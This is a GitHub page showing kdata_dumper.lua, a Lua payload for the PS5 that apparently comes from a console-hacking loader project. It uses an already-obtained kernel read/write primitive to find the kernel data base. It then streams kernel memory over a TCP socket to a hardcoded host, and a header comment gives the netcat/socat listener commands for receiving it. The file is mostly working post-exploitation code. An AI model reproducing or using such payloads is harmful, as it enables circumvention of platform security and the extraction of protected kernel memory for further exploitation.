forked from n0llptr/remote_lua_loader
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkdata_dumper.lua
More file actions
117 lines (79 loc) · 2.92 KB
/
Copy pathkdata_dumper.lua
File metadata and controls
117 lines (79 loc) · 2.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
--[[
run netcat/socat on the other end to receive the kernel data dump
1) either through netcat
$ nc -nlvp 5656 > kernel_data_dump.bin
2) or through socat
$ socat -u TCP-LISTEN:5656,reuseaddr OPEN:kernel_data_dump.bin,create,trunc
]]
IP = "192.168.1.2"
PORT = 5656
function htons(port)
return bit32.bor(bit32.lshift(port, 8), bit32.rshift(port, 8)) % 0x10000
end
function aton(ip)
local a, b, c, d = ip:match("(%d+).(%d+).(%d+).(%d+)")
return bit32.bor(bit32.lshift(d, 24), bit32.lshift(c, 16), bit32.lshift(b, 8), a)
end
function find_kdata_base_offset(addr_inside_kdata)
print("start searching for kdata base...")
local addr = bit64.band(addr_inside_kdata, bit64.bnot(PAGE_SIZE-1))
local offset = 0
while true do
local n1 = kernel.read_dword(addr-offset):tonumber()
local n2 = kernel.read_dword(addr-offset+4):tonumber()
local n3 = kernel.read_dword(addr-offset+8):tonumber()
local n4 = kernel.read_dword(addr-offset+12):tonumber()
if n1 == 1 and n2 == 1 and n3 == 0 and n4 == 0 then
return addr - offset
end
offset = offset + PAGE_SIZE
end
end
function dump_kdata_over_network(kdata_base)
local sock_fd = syscall.socket(AF_INET, SOCK_STREAM, 0):tonumber()
if sock_fd == -1 then
error("socket() error: " .. get_error_string())
end
local sockaddr_in = memory.alloc(16)
memory.write_byte(sockaddr_in + 1, AF_INET) -- sin_family
memory.write_word(sockaddr_in + 2, htons(PORT)) -- sin_port
memory.write_dword(sockaddr_in + 4, aton(IP)) -- sin_addr
printf("trying to connect to %s:%d", IP, PORT)
if syscall.connect(sock_fd, sockaddr_in, 16):tonumber() == -1 then
error("connect() error: " .. get_error_string())
end
print("connected sucessfully")
print("dumping kdata until crashing...")
local read_size = PAGE_SIZE
local mem = memory.alloc(read_size)
local MB = 0x100000
local offset = 0
while true do
kernel.copyout(kdata_base + offset, mem, read_size)
if syscall.write(sock_fd, mem, read_size):tonumber() == -1 then
error("write() error: " .. get_error_string())
break
end
if offset % (5 * MB) == 0 then
printf("dumping kernel data: %d mb", offset / MB)
end
offset = offset + read_size
end
end
function main()
check_kernel_rw()
if PLATFORM ~= "ps5" then
error("this payload only targets ps5")
end
local kdata_base = kernel.addr.data_base
-- if kdata base is unknown, search for it
if not kdata_base then
if not kernel.addr.inside_kdata then
error("an address inside kdata is needed for dumper to work")
end
kdata_base = find_kdata_base_offset(kernel.addr.inside_kdata)
end
printf("kdata base: %s", hex(kdata_base))
dump_kdata_over_network(kdata_base)
end
main()